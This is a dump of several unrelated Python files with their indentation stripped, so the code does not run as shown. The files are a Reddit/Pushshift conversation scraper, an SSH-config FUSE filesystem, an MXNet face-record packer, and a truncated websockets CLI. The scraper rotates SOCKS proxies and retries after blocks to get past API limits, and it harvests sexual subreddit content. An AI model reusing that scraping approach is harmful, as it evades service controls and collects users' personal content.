if args.use_title and pid.startswith(TAG_SUBMISSION):
txts = [ "title: " + submissions[c['link_id']]['title'] ]
elif pid in comments:
txts = get_convo(sid, rootid, pid, submissions, comments, index, depth-1)
else:
txts = []
txts.append(c['body'])
return txts
def filter_instance(src, tgt, info):
# Remove offensive words:
if args.bl_words and not args.leaves_only:
bad_words = bl_words.extract_keywords(tgt)
if bad_words:
#print("skip\toffensive\t%s\t%s\tbad word(s): %s" % (info, tgt, bad_words), file=sys.stderr)
return True
# Remove empty targets:
tgttoks = tgt.split()
if len(tgttoks) <= 1: # 1 means there is only a weight, and 0 means there's a bug..
#print("skip\temptytarget\t%s\t%s" % (info, tgt), file=sys.stderr)
return True
# Skip if word too long:
toolong = False
for w in tgttoks:
if len(w) > 30:
toolong = True
break
if toolong:
#print("skip\tlongword\t%s\t%s\tword too long" % (info, tgt), file=sys.stderr)
return True
srctoks = src.split()
# Remove empty sources: (should probably uncomment, but left for reproducibility)
#if len(srctoks) <= 1: # 1 means there is only a weight, and 0 means there's a bug..
# #jareprint("skip\temptysource\t%s\t%s" % (info, src), file=sys.stderr)
# return True
# Remove too long turns:
nsrctgt = len(srctoks) + len(tgttoks)
if nsrctgt > 200:
#print("skip\ttoolong\t%s\t%s\tsrc+tgt too long, src=[%s]" % (info, tgt, src), file=sys.stderr)
return True
# Skip turns with URLs:
srctgt = src + " " + tgt
if "__url__" in srctgt:
#print("skip\turl\t%s\t%s\turl in tgt, or src =[%s]" % (info, tgt, src), file=sys.stderr)
return True
# Skip responses with meta data:
if re.search("[\[\]\(\)]", srctgt) != None:
#print("skip\ttags\t%s\t%s\ttag in tgt (or src: [%s])" % (info, tgt, src), file=sys.stderr)
return True
# Skip yelling:
if re.search("[A-Z]{5,}", srctgt) != None:
#print("skip\tallcaps\t%s\t%s\tall caps in tgt (or src: [%s])" % (info, tgt, src), file=sys.stderr)
return True
# Skip word repetitions:
reps = False
for i in range(2, len(tgttoks)):
if tgttoks[i-2] == tgttoks[i] and tgttoks[i-1] == tgttoks[i]:
reps = True
break
if reps:
#print("skip\trepetitions\t%s\t%s\ttoo many repetitions" % (info, tgt), file=sys.stderr)
return True
return False
import datetime
import sys
import requests
from time import sleep
import random
def getthecomments(tindex, lala, submission, index, e, session, status_code, submissions):
comments = []
if tindex >= 0:
jareprint(str(tindex) + " https://api.pushshift.io/reddit/submission/comment_ids/" + submission['id'])
try:
if 'SOCKS' in str(e) or status_code != 200:
try:
with open('/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
try:
with open('/var/www/html/proxies_temp.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
abc=123
resp0 = session.get("https://api.pushshift.io/reddit/submission/comment_ids/" + submission['id'], verify=True, timeout=20)
status_code = resp0.status_code
if tindex >= 0:
jareprint(resp0)
if resp0.status_code == 200:
sleep(random.randint(1, 2) / 10)
comments = []
try:
resp0 = resp0.json()['data']
ids = ""
if len(resp0) > 0:
for line in resp0:
ids = ids + "," + line
if len(ids) >= 1:
if tindex >= 0:
jareprint("https://api.pushshift.io/reddit/search/comment/?ids=" + ids)
try:
if 'SOCKS' in str(e) or status_code != 200:
try:
with open('/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
try:
with open('/var/www/html/proxies_temp.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
abc=123
resp = session.get("https://api.pushshift.io/reddit/search/comment/?ids=" + ids, verify=True, timeout=20)
#jareprint(resp)
status_code = resp.status_code
if tindex >= 0:
jareprint(str(status_code))
if resp.status_code == 200:
sleep(random.randint(1, 2) / 10)
try:
resp = resp.json()['data']
if len(resp) > 0:
for line in resp:
comment = line
#if index == 1:
#jareprint(comment)
comments.append(comment)
return(comments)
else:
abc=123
#jareprint('empty resp')
return(comments)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
sleep(random.randint(1, 2) / 10)
return getthecomments(tindex, lala, submission, index, e, session, status_code, submissions)
traceback.print_exc()
else:
sleep(random.randint(1, 2) / 10)
return getthecomments(tindex, lala, submission, index, "", session, status_code, submissions)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
sleep(random.randint(1, 2) / 10)
return getthecomments(tindex, lala, submission, index, e, session, status_code, submissions)
traceback.print_exc()
else:
#jareprint('empty resp')
return(comments)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
sleep(random.randint(1, 2) / 10)
return getthecomments(tindex, lala, submission, index, e, session, status_code, submissions)
traceback.print_exc()
else:
sleep(random.randint(1, 2) / 10)
return getthecomments(tindex, lala, submission, index, "", session, status_code, submissions)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
sleep(random.randint(1, 2) / 10)
return getthecomments(tindex, lala, submission, index, e, session, status_code, submissions)
traceback.print_exc()
traceback.print_exc()
import _thread
import time
from pypac import PACSession
from pypac.parser import PACFile
import math
with open('/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
try:
with open('/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
try:
with open('/var/www/html/proxies_temp.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
abc=123
blocked = []
def dogetsubmissions(tindex, ts, lala, ts2, going, submissions, comments, index, e, session, status_code, numcomments, donecomments, submissionids):
if tindex >= 0:
jareprint(str(tindex) + " https://api.pushshift.io/reddit/search/submission/?sort=desc&sort_type=num_comments&subreddit=" + lala + "&size=500&before=" + str(ts2) + "&after="+str(ts)+"&fields=created_utc,id,score,num_comments,domain,permalink,title&num_comments=>"+str(numcomments))
try:
if 'SOCKS' in str(e) or status_code != 200:
try:
with open('/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
try:
with open('/var/www/html/proxies_temp.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
abc=123
resp = session.get("https://api.pushshift.io/reddit/search/submission/?sort=desc&sort_type=num_comments&subreddit=" + lala + "&size=500&before=" + str(ts2) + "&after="+str(ts)+ "&fields=created_utc,id,score,num_comments,domain,permalink,title&num_comments=>"+str(numcomments), verify=True, timeout=20)
#jareprint(resp.status_code)
status_code = resp.status_code
if tindex >= 0:
jareprint(status_code)
if resp.status_code == 200:
try:
resp = resp.json()['data']
if donecomments == False and (len(resp) == 0 or len(resp) == 500):
donecomments = True
if len(resp) < 500 and donecomments == False and len(resp) != 0:
return dogetsubmissions(tindex,ts, lala, ts2, going, submissions, comments, index, e, session, status_code, math.ceil(numcomments * 1.35), donecomments, submissionids)
if len(resp) == 0 and donecomments == True:
blocked.append(lala)
going = False
if int(numcomments) == 1:
return({'going': going, 'submissions': submissions, 'comments': comments})
else:
return dogetsubmissions(tindex,ts, lala, ts2, going, submissions, comments, index, e, session, status_code, numcomments-1, donecomments, submissionids)
if len(resp) > 0:
gogos = 0
for line in resp:
if line['id'] in submissionids:
gogos = gogos + 1
jareprint(str(tindex) + ' gogos: ' + str(gogos) + ' lenresp: ' + str(len(resp)) +' numcomments: ' + str(numcomments))
if gogos < len(resp):
for line in resp:
submission = line
if submission['id'] not in submissionids:
submissionids.append(submission['id'])
#if index == 1:
#jareprint(submission)
ts2o = ts2
ts2 = submission['created_utc']
#ts = 0
if ts2 > ts2o or ts2 < ts:
going = False
submissions[get_submission_id(submission)] = submission
sleep(random.randint(1, 2) / 10)
toappend = getthecomments(tindex,lala, submission, index, "", session, 429, comments)
for comment in toappend:
comments[get_comment_id(comment)] = comment
#else:
#jareprint('gogo false')
if int(numcomments) == 1:
return({'going': going, 'submissions': submissions, 'comments': comments})
else:
return dogetsubmissions(tindex,ts, lala, ts2, going, submissions, comments, index, e, session, status_code, numcomments-1, donecomments, submissionids)
else:
jareprint('gogos hit!')
if int(numcomments) == 1:
return({'going': going, 'submissions': submissions, 'comments': comments})
else:
return dogetsubmissions(tindex,ts, lala, ts2, going, submissions, comments, index, e, session, status_code, int(numcomments/1.2), donecomments, submissionids)
else:
#jareprint('empty resp')
abc=123
if int(numcomments) == 1:
return({'going': going, 'submissions': submissions, 'comments': comments})
else:
return dogetsubmissions(tindex,ts, lala, ts2, going, submissions, comments, index, e, session, status_code, numcomments-1, donecomments, submissionids)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
sleep(random.randint(1, 2) / 10)
#print(1)
return dogetsubmissions(tindex,ts, lala, ts2, going, submissions, comments, index, e, session, status_code, numcomments, donecomments, submissionids)
traceback.print_exc()
else:
#jareprint('repeat')
#print(2)
sleep(random.randint(1, 2) / 10)
return dogetsubmissions(tindex,ts, lala, ts2, going, submissions, comments, index, "", session, status_code, numcomments, donecomments, submissionids)
except Exception as e:
if 'SOCKS' not in str(e):
jareprint(e)
#print(3)
sleep(random.randint(1, 2) / 10)
return dogetsubmissions(tindex,ts, lala, ts2, going, submissions, comments, index, e, session, status_code, numcomments, donecomments, submissionids)
traceback.print_exc()
return({'going': going, 'submissions': submissions, 'comments': comments})
#return dogetsubmissions(tindex,ts, lala, ts2, going, submissions, comments, index, e, session, status_code, numcomments-1, donecomments, submissionids)
def dolala(tindex,lala,index,sum_resp_len,lines,n,m,i,comments,submissions,ts,ts2,wl_subreddits,path_out):
index = index + 1
going = True
if index == len(wl_subreddits):
going = False
if lala not in blocked:
sleep(random.randint(0, 3))
try:
with open('/var/www/html/proxies.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
try:
with open('/var/www/html/proxies_temp.PAC') as f:
pac = PACFile(f.read())
session = PACSession(pac, socks_scheme='socks4')
except:
abc=123
subresult = dogetsubmissions(tindex,ts, lala, ts2, going, dict(), dict(), index, "", session, 429, 1, False, [])
#jareprint(subresult)
going = subresult['going']
print('sub')
submissions = subresult['submissions']
jareprint(str(len(submissions)))
print('com')
comments = subresult['comments']
jareprint(str(len(comments)))
else:
going = False
sorted_id = sorted([(
comments[cid]['link_id'],
comments[cid]['parent_id'],
cid
) for cid in comments])
jareprint('total comments: %i'%len(comments))
skip_id = {}
#jareprint('sorted: ' + str(sorted_id))
if args.leaves_only:
for _, pid, _ in sorted_id:
skip_id[pid] = 1
#jareprint('sorted: ' + str(sorted_id))
for sid, pid, cid in sorted_id:
if args.keep_keys:
k = '\t'.join([sid, cid, 'keep'])
i += 1
#if i%1e5 == 0:
#print('selected hooziewhatsie %.2fM from %.1f/%.1fM comments'%(m/1e6, i/1e6, n/1e6), file=sys.stderr)
subreddit = ''
domain = ''
if sid in submissions.keys():
subreddit = submissions[sid]['permalink'].split('/')[2].lower()
domain = submissions[sid]['domain'].lower()
info = subreddit + '\t' + domain
comment = comments[cid]
txts = get_convo(sid, cid, cid, submissions, comments, index) # filter 2
#if len(txts) < 3: # filter 3
#print("skip\tmin_depth\t%s\t%s\tdepth %d < %d: %s" % (info, comment['body'], len(txts), args.min_depth, "|".join(txts)), file=sys.stderr)
for i in range(len(txts)):
txts[i] = norm_sentence(txts[i], False)
if args.leaves_only and args.clean:
sc = '1.0'
skip_target = False
if args.discard_tgt_keys:
tgt_h = hashlib.sha224(txts[i].encode("utf-8")).hexdigest()
if tgt_h in keys_rm.keys():
skip_target = True
if bl_words.extract_keywords(txts[i]) or skip_target:
sc = '0.0'
txts[i] = sc + ' ' + txts[i]
src = ' EOS '.join(txts[:-1])
if len(txts) > 0:
tgt = txts[-1]
header = ','.join([sid, pid, cid])
jareprint('header: ' + str(header))
lines.append(header + '\t' + src + '\t' + tgt)
sum_resp_len += len(tgt.split())
m += 1
with open(path_out, 'a', encoding="utf-8") as f:
f.write(lines[-1]+ '\n')
comments = dict()
submissions = dict()
import queue
from concurrent.futures.thread import ThreadPoolExecutor
import time
import threading
import subprocess
import sys
def save_convo(path_rs, path_rc, path_out):
#jareprint('reading submissions...')
path_out = fld_out + '/%s.tsv'%args.dump_name
wl_subreddits = ['nsfw', 'porn', 'eroticwriting', 'eroticauthors', 'erotica','gonewildstories', 'sluttyconfessions', 'dirtyr4r', 'dirtyfriendfinder', 'dirtypenpals', 'roleplaykik', 'dirtykikroleplay', 'eroticpenpals', 'kikroleplay']
date_time_str = args.dump_name
date_time_obj = datetime.datetime.strptime(date_time_str, '%Y-%m')
ts = datetime.datetime.timestamp(date_time_obj)
ts2 = date_time_obj + datetime.timedelta(days=28)
ts = int(ts)
ts2 = int(datetime.datetime.timestamp(ts2))
index = 0
#jareprint('reading comments...')
index = 0
i = 0
m = 0
n = 0
lines = []
sum_resp_len = 0
tdc = 0
q = queue.Queue(maxsize = 9)
tindex = -1
for lala in wl_subreddits:
tindex = tindex + 1
t = threading.Thread(target=dolala, args=(tindex,lala,index,sum_resp_len,lines,n,m,i,comments,submissions,ts,ts2,wl_subreddits,path_out,))
t.start()
#q.join()
old = 0
done = False
while done == False:
n = threading.active_count()
jareprint('t active count ' + str(n))
if n <= 2:
done = True
sleep(1)
n = len(comments)
avg_len = sum_resp_len/(m+1)
sys.exit(0)
with open(path_out, 'a', encoding="utf-8") as f:
f.write('\n\n')
#jareprint('finally selected %i/%i, avg len = %.2f'%(m, n, avg_len))
return m, n, avg_len
def extract():
makedirs(fld_split)
sids, ms, ns = extract_submissions(fld_root_in, fld_split, size=args.split_size)
mc, nc = extract_comments(fld_root_in, fld_split, sids)
with open(fld_split + '/stat.tsv', 'a') as f:
f.write('\t'.join(map(str, [args.dump_name, mc, nc, ms, ns])) + '\n')
def build_conv(fld_out):
makedirs(fld_out)
path_out = fld_out + '/%s.tsv'%args.dump_name
#jareprint(path_out)
if args.parallel:
fs = open(fld_out + '/' + args.dump_name + '.stat.tsv', 'w')
else:
fs = open(fld_out + '/stat.tsv', 'a')
sub = 0
sum_m = 0
sum_n = 0
while True:
path_rs = fld_split + '/rs_sub%i.tsv.gz'%sub
if not os.path.exists(path_rs):
#if sub == 0:
#jareprint('no such file: '+path_rs)
break
#jareprint('-'*10 + ' sub%i '%sub + '-'*10)
path_rc = path_rs.replace('/rs_', '/rc_')
m, n, avg_len = save_convo(path_rs, path_rc, path_out)
fs.write('\t'.join([args.dump_name, str(sub), str(m), str(n), '%.2f'%avg_len]) + '\n')
sum_m += m
sum_n += n
sub += 1
fs.write('\t'.join([args.dump_name, 'all', str(sum_m), str(sum_n), '']) + '\n')
fs.close()
def load_keys(key_file):
d = {}
with gzip.open(key_file, 'rt', encoding="utf-8") as f:
for line in f:
k = line.rstrip()
if args.task == 'conv' and k.endswith('\tdep'):
continue
d[k] = 1
return d
if args.freq_words:
with open(args.freq_words, 'rt', encoding="utf-8") as f:
n = 0
for line in f:
n += 1
w = line.rstrip().lower()
args.freq_words[w] = n
if args.bl_words:
with open(args.bl_words, 'rt', encoding="utf-8") as f:
for line in f:
if line[0] == '#':
continue
w = line.rstrip()
bl_words.add_keyword(w)
if args.bl_subreddits:
with open(args.bl_subreddits, 'rt', encoding="utf-8") as f:
for line in f:
if line[0] == '#':
continue
s = line.rstrip().lower()
bl_subreddits[s] = 1
if args.ignore_keys:
args.keep_keys = None
args.discard_tgt_keys = None
else:
if args.keep_keys:
keys = load_keys(args.keep_keys)
if args.discard_tgt_keys:
keys_rm = load_keys(args.discard_tgt_keys)
fld_root_in = args.reddit_input
fld_root_out = args.reddit_output
fld_split = fld_root_out + '/extract/%s'%(args.dump_name)
fld_out = None
if args.task == 'extract':
extract()
elif args.task == 'conv':
fld_out = fld_root_out + '/conv'
build_conv(fld_out)
else:
print("Unknown task: %s" % args.task, file=sys.stderr)
|
sshconfigfs.py | #!/usr/bin/env python
# FUSE filesystem to build SSH config file dynamically.
# Mark Hellewell <mark.hellewell@gmail.com>
import errno
import glob
import logging
import logging.handlers
import os
import stat
import threading
import time
from fuse import FUSE, FuseOSError, Operations, LoggingMixIn
stderrhandler = logging.StreamHandler() # a handler to log to stderr
stderrhandler.setFormatter(
logging.Formatter('%(asctime)s %(levelname)s %(message)s'))
# a handler to log to syslog
sysloghandler = logging.handlers.SysLogHandler(
facility=logging.handlers.SysLogHandler.LOG_DAEMON)
sysloghandler.setFormatter(
logging.Formatter('%(name)s %(levelname)s %(message)s'))
logger = logging.getLogger('SSHConfigFS') # is there a standard?
# used to synchronise access to the generated config file and its
# attributes, since it's updated from a different thread to the main
# FUSE thread.
configLock = threading.Lock()
class SSHConfigFS(LoggingMixIn, Operations):
"""A simple FUSE filesystem which dynamically builds a config file
for ssh.
"""
def __init__(self, configd_dir):
now = time.time()
# configd_dir is the directory to be watched by
# self.dir_poller from a separate thread.
self.configd_dir = configd_dir
# initialise the list of "files". '/' is mandatory. '/config'
# is where our combined ssh config lives.
with configLock:
self.files = {
'/': dict(st_mode=(stat.S_IFDIR | 0550), st_uid=os.getuid(),
st_gid=os.getgid(), st_nlink=2, st_ctime=now,
st_mtime=now, st_atime=now),
'/config': dict(st_mode=(stat.S_IFREG | 0400),
st_uid=os.getuid(),
st_gid=os.getgid(), st_size=0, st_nlink=1,
st_ctime=now, st_mtime=now, st_atime=now)
}
self.ssh_config = ''
# we just started up, so generate the ssh config right now.
logger.debug('Generating initial config')
self.generate_config()
def getattr(self, path, fh=None):
if path not in self.files:
raise FuseOSError(errno.ENOENT)
with configLock:
return self.files[path]
def read(self, path, size, offset, fh):
# returns the contents of the '/config' "file", and updates
# its st_atime.
if path != '/config':
raise FuseOSError(errno.ENOENT)
with configLock:
self.files['/config']['st_atime'] = time.time()
return self.ssh_config[offset:offset + size]
def readdir(self, path, fh):
# '.' and '..' must be returned here. We add 'config', since
# that's the only other "file" in our filesystem!
return ['.', '..', 'config']
def init(self, arg):
# start the thread which polls configd_dir for a changed
# m_time, which triggers config file rebuild.
t = threading.Thread(target=self.dir_poller)
t.start()
#
# none-FUSE methods, below
#
def dir_poller(self):
"""Not part of the FUSE API, this polls the configd_dir for a
changed mtime. A changed mtime triggers rebuilding of the
combined config.
This is started as a thread from within the init (not
__init__) method.
"""
orig_mod_timestamp = os.stat(self.configd_dir).st_mtime
while True:
time.sleep(0.5)
try:
now_mod_timestamp = os.stat(self.configd_dir).st_mtime
except OSError:
# TODO couldn't get the mtime of the configd_dir!
# wtf! I think it's time to exit cleanly?
continue
else:
if now_mod_timestamp != orig_mod_timestamp:
# configd_dir has seen changes (its mtime has
# changed), so it's time to generate new config and
# save the new timestamp for later comparisons.
logger.debug('Generating combined config')
self.generate_config()
orig_mod_timestamp = now_mod_timestamp
def generate_config(self):
"""Not part of the FUSE API, this combines files from
configd_dir into a single config "file".
It uses shell style "globbing" of files, whose names start
with a number, to allow control of the order in which config
chunks are included in the final combined output.
e.g. the directory referenced by configd_dir might contain
files named:
01_start
05_tunnels
10_workhosts
30_personalhosts
The generated ssh config would thus contain the contents of
these files, in the order in which they appear above.
An underscore in the name is not necessary for the file to be
included in final output, only that the name start with a
number.
"""
# use shell style globbing, to allow control of the order in
# which config chunks are included in the final output.
new_ssh_config = ''
for conf_file in sorted(
glob.glob('{}/[0-9]*'.format(self.configd_dir))):
try:
# TODO if the file does not end with a blank line,
# insert one into the output
new_ssh_config += file(conf_file, 'r').read()
except IOError as exc:
logger.error(
'IOError ({0}) while tring to read {1}: {2}'.format(
exc.errno, conf_file, exc.strerror))
continue
except Exception as exc:
logger.error('Unexpected exception: {}'.format(exc))
continue
else:
logger.debug('{} was included'.format(conf_file))
with configLock:
# update content and size
self.ssh_config = new_ssh_config
self.files['/config']['st_size'] = len(self.ssh_config)
# update mtime and atime of '/config' and '/'
now = time.time()
for attr in ('st_mtime', 'st_atime'):
self.files['/config'][attr] = now
self.files['/'][attr] = now
if __name__ == '__main__':
# log to stderr and syslog
logger.addHandler(stderrhandler)
logger.addHandler(sysloghandler)
logger.setLevel(logging.DEBUG)
# TODO should take arguments for: user, config.d location, and?
# user's .ssh directory, to be used to automatically setup a
# symlink to dynamically generated config.
ssh_dir = os.path.join(os.path.expanduser('~'), '.ssh')
# directory containing ssh config chunks
configd_dir = os.path.join(ssh_dir, 'config.d')
if not os.path.exists(configd_dir):
os.mkdir(configd_dir)
logger.info('Created empty {}'.format(configd_dir))
# where our filesystem will be mounted
mountpoint = os.path.join(os.path.expanduser('~'), '.sshconfigfs')
if not os.path.exists(mountpoint):
os.mkdir(mountpoint)
logger.info('Created SSHConfigFS mountpoint {}'.format(mountpoint))
logger.info('starting')
fuse = FUSE(SSHConfigFS(configd_dir), mountpoint, foreground=True)
logger.info('exited')
|
face2rec2.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
# -*- coding: utf-8 -*-
from __future__ import print_function
import os
import sys
#curr_path = os.path.abspath(os.path.dirname(__file__))
#sys.path.append(os.path.join(curr_path, "../python"))
import mxnet as mx
import random
import argparse
import cv2
import time
import traceback
#from builtins import range
from easydict import EasyDict as edict
sys.path.append(os.path.join(os.path.dirname(__file__), '..', 'common'))
import face_preprocess
import face_image
try:
import multiprocessing
except ImportError:
multiprocessing = None
def read_list(path_in):
with open(path_in) as fin:
identities = []
last = [-1, -1] # range's [label, start id]
_id = 1 # idx == 1
while True:
line = fin.readline()
if not line:
break
item = edict()
item.flag = 0
item.image_path, label, item.bbox, item.landmark, item.aligned = face_preprocess.parse_lst_line(line)
#if not item.aligned and item.landmark is None:
#print('ignore line', line)
#continue
item.id = _id
item.label = [label, item.aligned]
if item.bbox is not None:
item.label += list(item.bbox)
if item.landmark is not None:
item.label += item.landmark
yield item
if label!=last[0]:
if last[1]>=0:
identities.append( (last[1], _id) ) # identity range for last label
last[0] = label
last[1] = _id
_id+=1
identities.append( (last[1], _id) )
item = edict()
item.flag = 2
item.id = 0 # idx == 0
item.label = [float(_id), float(_id+len(identities))] # image end idx, identity end idx
yield item
for identity in identities: # record all range
item = edict()
item.flag = 2
item.id = _id
_id+=1
item.label = [float(identity[0]), float(identity[1])]
yield item
def image_encode(args, i, item, q_out):
oitem = [item.id]
#print('flag', item.flag)
if item.flag==0:
fullpath = item.image_path
header = mx.recordio.IRHeader(item.flag, item.label, item.id, 0)
print('write', item.flag, item.id, item.label)
# if item.aligned:
with open(fullpath, 'rb') as fin:
img = fin.read()
s = mx.recordio.pack(header, img)
q_out.put((i, s, oitem))
# else:
# img = cv2.imread(fullpath, args.color)
# assert item.landmark is not None
# img = face_preprocess.preprocess(img, bbox = item.bbox, landmark=item.landmark, image_size='%d,%d'%(args.image_h, args.image_w))
# s = mx.recordio.pack_img(header, img, quality=args.quality, img_fmt=args.encoding)
# q_out.put((i, s, oitem))
else:
header = mx.recordio.IRHeader(item.flag, item.label, item.id, 0)
print('write', item.flag, item.id, item.label, ' ', item.label[1]-item.label[0])
s = mx.recordio.pack(header, b'')
q_out.put((i, s, oitem))
def read_worker(args, q_in, q_out):
while True:
deq = q_in.get()
if deq is None:
break
i, item = deq
image_encode(args, i, item, q_out)
def write_worker(q_out, fname, working_dir):
pre_time = time.time()
count = 0
fname = os.path.basename(fname)
fname_rec = os.path.splitext(fname)[0] + '.rec'
fname_idx = os.path.splitext(fname)[0] + '.idx'
record = mx.recordio.MXIndexedRecordIO(os.path.join(working_dir, fname_idx),
os.path.join(working_dir, fname_rec), 'w')
buf = {}
more = True
while more:
deq = q_out.get()
if deq is not None:
i, s, item = deq
buf[i] = (s, item)
else:
more = False
while count in buf:
s, item = buf[count]
del buf[count]
if s is not None:
#print('write idx', item[0])
record.write_idx(item[0], s)
if count % 1000 == 0:
cur_time = time.time()
print('time:', cur_time - pre_time, ' count:', count)
pre_time = cur_time
count += 1
def parse_args():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
description='Create an image list or \
make a record database by reading from an image list')
parser.add_argument('prefix', help='prefix of input/output lst and rec files.')
#parser.add_argument('root', help='path to folder containing images.')
cgroup = parser.add_argument_group('Options for creating image lists')
cgroup.add_argument('--list', type=bool, default=False,
help='If this is set im2rec will create image list(s) by traversing root folder\
and output to <prefix>.lst.\
Otherwise im2rec will read <prefix>.lst and create a database at <prefix>.rec')
cgroup.add_argument('--exts', nargs='+', default=['.jpeg', '.jpg'],
help='list of acceptable image extensions.')
cgroup.add_argument('--chunks', type=int, default=1, help='number of chunks.')
cgroup.add_argument('--train-ratio', type=float, default=1.0,
help='Ratio of images to use for training.')
cgroup.add_argument('--test-ratio', type=float, default=0,
help='Ratio of images to use for testing.')
cgroup.add_argument('--recursive', type=bool, default=False,
help='If true recursively walk through subdirs and assign an unique label\
to images in each folder. Otherwise only include images in the root folder\
and give them label 0.')
cgroup.add_argument('--shuffle', type=bool, default=True, help='If this is set as True, \
im2rec will randomize the image order in <prefix>.lst')
rgroup = parser.add_argument_group('Options for creating database')
rgroup.add_argument('--quality', type=int, default=95,
help='JPEG quality for encoding, 1-100; or PNG compression for encoding, 1-9')
rgroup.add_argument('--num-thread', type=int, default=1,
help='number of thread to use for encoding. order of images will be different\
from the input list if >1. the input list will be modified to match the\
resulting order.')
rgroup.add_argument('--color', type=int, default=1, choices=[-1, 0, 1],
help='specify the color mode of the loaded image.\
1: Loads a color image. Any transparency of image will be neglected. It is the default flag.\
0: Loads image in grayscale mode.\
-1:Loads image as such including alpha channel.')
rgroup.add_argument('--encoding', type=str, default='.jpg', choices=['.jpg', '.png'],
help='specify the encoding of the images.')
rgroup.add_argument('--pack-label', type=bool, default=False,
help='Whether to also pack multi dimensional label in the record file')
args = parser.parse_args()
args.prefix = os.path.abspath(args.prefix)
#args.root = os.path.abspath(args.root)
return args
if __name__ == '__main__':
args = parse_args()
if args.list:
pass
#make_list(args)
else:
if os.path.isdir(args.prefix):
working_dir = args.prefix
else:
working_dir = os.path.dirname(args.prefix)
prop = face_image.load_property(working_dir)
image_size = prop.image_size
print('image_size', image_size)
args.image_h = image_size[0]
args.image_w = image_size[1]
files = [os.path.join(working_dir, fname) for fname in os.listdir(working_dir)
if os.path.isfile(os.path.join(working_dir, fname))]
count = 0
for fname in files:
if fname.startswith(args.prefix) and fname.endswith('.lst'):
print('Creating .rec file from', fname, 'in', working_dir)
count += 1
image_list = read_list(fname)
# -- write_record -- #
if args.num_thread > 1 and multiprocessing is not None:
q_in = [multiprocessing.Queue(1024) for i in range(args.num_thread)]
q_out = multiprocessing.Queue(1024)
read_process = [multiprocessing.Process(target=read_worker, args=(args, q_in[i], q_out)) \
for i in range(args.num_thread)]
for p in read_process:
p.start()
write_process = multiprocessing.Process(target=write_worker, args=(q_out, fname, working_dir))
write_process.start()
for i, item in enumerate(image_list):
q_in[i % len(q_in)].put((i, item))
for q in q_in:
q.put(None)
for p in read_process:
p.join()
q_out.put(None)
write_process.join()
else:
print('multiprocessing not available, fall back to single threaded encoding')
try:
import Queue as queue
except ImportError:
import queue
q_out = queue.Queue()
fname = os.path.basename(fname)
fname_rec = os.path.splitext(fname)[0] + '.rec'
fname_idx = os.path.splitext(fname)[0] + '.idx'
record = mx.recordio.MXIndexedRecordIO(os.path.join(working_dir, fname_idx),
os.path.join(working_dir, fname_rec), 'w')
cnt = 0
pre_time = time.time()
for i, item in enumerate(image_list):
image_encode(args, i, item, q_out)
if q_out.empty():
continue
_, s, item = q_out.get()
#header, _ = mx.recordio.unpack(s)
#print('write header label', header.label)
record.write_idx(item[0], s)
if cnt % 1000 == 0:
cur_time = time.time()
print('time:', cur_time - pre_time, ' count:', cnt)
pre_time = cur_time
cnt += 1
if not count:
print('Did not find and list file with prefix %s'%args.prefix)
|
__main__.py | import argparse
import asyncio
import os
import signal
import sys
import threading
from typing import Any, Set
from .client import connect
from .exceptions import ConnectionClosed, format_close
if sys.platform == "win32":
def win_enable_vt100() -> None:
"""
Enable VT-100 for console output on Windows.
See also https://bugs.python.org/issue29059.
"""
import ctypes
STD_OUTPUT_HANDLE = ctypes.c_uint(-11)
INVALID_HANDLE_VALUE = ctypes.c_uint(-1)
ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x004
handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
if handle == INVALID_HANDLE_VALUE:
raise RuntimeError("unable to obtain stdout handle")
cur_mode = ctypes.c_uint()
if ctypes.windll.kernel32.GetConsoleMode(handle, ctypes.byref(cur_mode)) == 0:
raise RuntimeError("unable to query current console mode")
# ctypes ints lack support for the required bit-OR operation.
# Temporarily convert to Py int, do the OR and convert back.
py_int_mode = int.from_bytes(cur_mode, sys.byteorder)
new_mode = ctypes.c_uint(py_int_mode | ENABLE_VIRTUAL_TERMINAL_PROCESSING)
if ctypes.windll.kernel32.SetConsoleMode(handle, new_mode) == 0:
raise RuntimeError("unable to set console mode")
def exit_from_event_loop_thread(
loop: asyncio.AbstractEventLoop, stop: "asyncio.Future[None]"
) -> None:
loop.stop()
if not stop.done():
# When exiting the thread that runs the event loop, raise
# KeyboardInterrupt in the main thread to exit the program.
try:
ctrl_c = signal.CTRL_C_EVENT # Windows
except AttributeError:
ctrl_c = signal.SIGINT # POSIX
os.kill(os.getpid(), ctrl_c)
def print_during_input(string: str) -> None:
sys.stdout.write(
# Save cursor position
"\N{ESC}7"
# Add a new line
"\N{LINE FEED}"
# Move cursor up
"\N{ESC}[A"
# Insert blank line, scroll last line down
"\N{ESC}[L"
# Print string in the inserted blank line
f"{string}\N{LINE FEED}"
# Restore cursor position
